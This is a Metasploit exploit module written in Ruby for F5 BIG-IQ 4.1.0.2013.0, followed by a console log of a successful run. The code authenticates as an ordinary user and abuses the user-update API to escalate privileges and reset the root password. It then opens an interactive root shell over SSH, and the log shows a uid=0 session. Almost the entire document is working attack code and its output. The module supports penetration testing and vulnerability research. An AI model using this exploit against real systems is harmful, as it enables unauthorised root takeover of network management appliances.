require 'msf/core'
require 'json'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change",
'Description' => %q{
F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows
an attacker to change the root users password. This module does just this, then SSH's in.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile@gmail.com>'
],
'References' =>
[
['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['BIG-IQ 4.1.0.2013.0', {}]
],
'Privileged' => true,
'DefaultOptions' =>
{
'SSL' => true,
'ExitFunction' => "none"
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'DisclosureDate' => "Sep 23 2013",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']),
OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']),
OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
], self.class)
end
def exploit
post = {
'username' => datastore['USERNAME'],
'passwd' => datastore['PASSWORD']
}
print_status("Authenticating as " + datastore['USERNAME'])
res = send_request_cgi({
'method' => 'POST',
'uri' => '/ui/actions/logmein.html',
'vars_post' => post
})
if res.headers["Location"] != "/"
fail_with("Authentication failed")
end
cookie = res.get_cookies
post = {
"name" => datastore['ADMINISTRATOR'],
"displayName" => "fdsa",
"generation" => 1,
"lastUpdateMicros" => 1395360806678747,
"kind" => "shared:authz:users:usersworkerstate",
"selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'],
"password" => datastore['PASSWORD'],
"password2" => datastore['PASSWORD'],
"state" => "ACTIVE"
}
print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"])
try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME'])
password = Rex::Text.rand_text_alpha(rand(32)+5)
post = {
"name" => "root",
"displayName" => "root",
"generation" => 1,
"lastUpdateMicros" => 1395359570236413,
"kind" => "shared:authz:users:usersworkerstate",
"selfLink" => "https://localhost/mgmt/shared/authz/users/root",
"password" => password,
"password2" => password,
"state" => "ACTIVE"
}
select(nil,nil,nil,5)
print_status("Changing root user password to " + password)
try_generation(post, cookie, '/mgmt/shared/authz/users/root')
res = do_login('root', password)
if res
print_good("Login Successful with 'root:#{password}'")
handler(res.lsock)
end
end
def try_generation(put, cookie, uri)
done = false
while !done
res = send_request_cgi({
'method' => "PUT",
'uri' => uri,
'data' => put.to_json,
'cookie' => cookie
})
if res and res.body =~ /Invalid generation/
put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1]
elsif res and res.body =~ /encryptedPassword/
done = true
else
fail_with("Didn't get a response that I expected")
end
end
end
def do_login(user, pass)
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:msframework => framework,
:msfmodule => self,
:port => 22,
:disable_agent => true,
:config => true,
:password => pass,
:record_auth_info => true,
:proxies => datastore['Proxies']
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
ssh = Net::SSH.start(datastore['RHOST'], user, opts)
rescue Rex::ConnectionError, Rex::AddressInUse
return nil
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end
if ssh
conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
return conn
end
return nil
end
end
__END__
msf exploit(f5_bigiq_passwd_update) > show options
Module options (exploit/linux/http/f5_bigiq_passwd_update):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINISTRATOR root yes The administrator to spoof for privilege escalation
PASSWORD notpassword yes The password to authenticate with.
Proxies no Use a proxy chain
RHOST 192.168.1.8 yes The target address
RPORT 443 yes The target port
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
TARGETURI / yes The URI of the vulnerable instance
USERNAME username yes The user to authenticate as.
VHOST no HTTP server virtual host
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 a
msf exploit(f5_bigiq_passwd_update) > exploit
[+] Login Successful with 'root:qBvBY'
[*] Found shell.
[*] Command shell session 3 opened (192.168.1.31:58165 -> 192.168.1.8:22) at 2014-03-20 21:18:09 -0500
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh
